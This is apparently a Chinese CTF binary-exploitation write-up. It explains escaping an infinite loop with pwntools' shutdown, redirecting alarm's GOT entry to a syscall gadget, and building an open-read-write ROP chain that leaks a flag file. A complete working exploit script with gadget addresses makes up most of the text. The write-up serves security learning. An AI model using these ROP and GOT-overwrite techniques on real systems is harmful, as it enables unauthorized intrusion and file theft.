涉及到以前没接触过的点,记录下。
checksec:
IDA:
很明显的一个栈溢出,但是一直有一个while循环,就算劫持控制流后也出不了这个循环。这里学到了一个新方法:
pwntools的shutdown('send')
py
def shutdown(self, direction = "send"):
"""shutdown(direction = "send")
Closes the tube for futher reading or writing depending on `direction`.
Arguments:
direction(str): Which direction to close; "in", "read" or "recv"
closes the tube in the ingoing direction, "out", "write" or "send"
closes it in the outgoing direction.
Returns:
:const:`None`
"""
但是shutdown后就无法再次利用了,也就是说我们只有一次栈溢出的机会。
所以考虑orw来读取flag文件的内容。
先看看有没有"flag"字符串:
然后就是看看plt表(因为我们无法利用libc的函数)
有read,write但是没有open。
这里又涉及到一个很妙的点:
汇编看alarm:
这里看着是+9处的syscall,但好像对于题目的环境其实是alarm@got+5。
然后就是这里怎么改这个got?
这里又学到了,可以利用这个gadget:
因为我们有rdi和rax的gadget,所以可以结合这个add gadget来传入
rdi = alarm@got
rax = 5
来进行修改
其余的gadget都有(程序甚至贴心地给了rdx的gadget)
所以我们的思路
- 劫持alarm的got表 => syscall
- syscall(open) => read => write 将flag文件写入bss段再读出来
Exp:(打本地的,所以我的alarm@got修改是+9)
py
flag = 0x0000000000601058
add_rdi_al = 0x000000000040070d
rdi = 0x00000000004008a3
rax = 0x00000000004006fc
rsi_r15 = 0x00000000004008a1
rdx = 0x00000000004006fe
bss = 0x601060
read_plt = elf.plt['read']
write_plt = elf.plt['write']
alarm_plt = elf.plt['alarm']
alarm_got = elf.got['alarm']
pl = b'a'*0x30 + b'b'*0x8
# alarm @got ->syscall
pl += p64(rdi) + p64(alarm_got) + p64(rax) + p64(9) + p64(add_rdi_al)
# open(flag,0)
# rdi , rsi
# syscall rax:2
pl += p64(rdi) + p64(flag) + p64(rsi_r15) + p64(0)*2
pl += p64(rax) + p64(2)
pl += p64(alarm_plt)
# read(3,bss+0x100,0x40)
# rdi , rsi , rdx
pl += p64(rdi) + p64(3) + p64(rsi_r15) + p64(bss+0x100)*2 + p64(rdx) + p64(0x40)
pl += p64(read_plt)
# write(1,bss+0x100,0x40)
pl += p64(rdi) + p64(1) + p64(rsi_r15) + p64(bss+0x100)*2 + p64(rdx) + p64(0x40)
pl += p64(write_plt)
pl = pl.ljust(0x200,b'\x00')
sla("!\n",str(0x200))
sleep(0.1)
sl(pl)
p.shutdown('send')
p.interactive()
打远程的话就把+9改为+5即可
py
# alarm @got ->syscall
pl += p64(rdi) + p64(alarm_got) + p64(rax) + p64(5) + p64(add_rdi_al)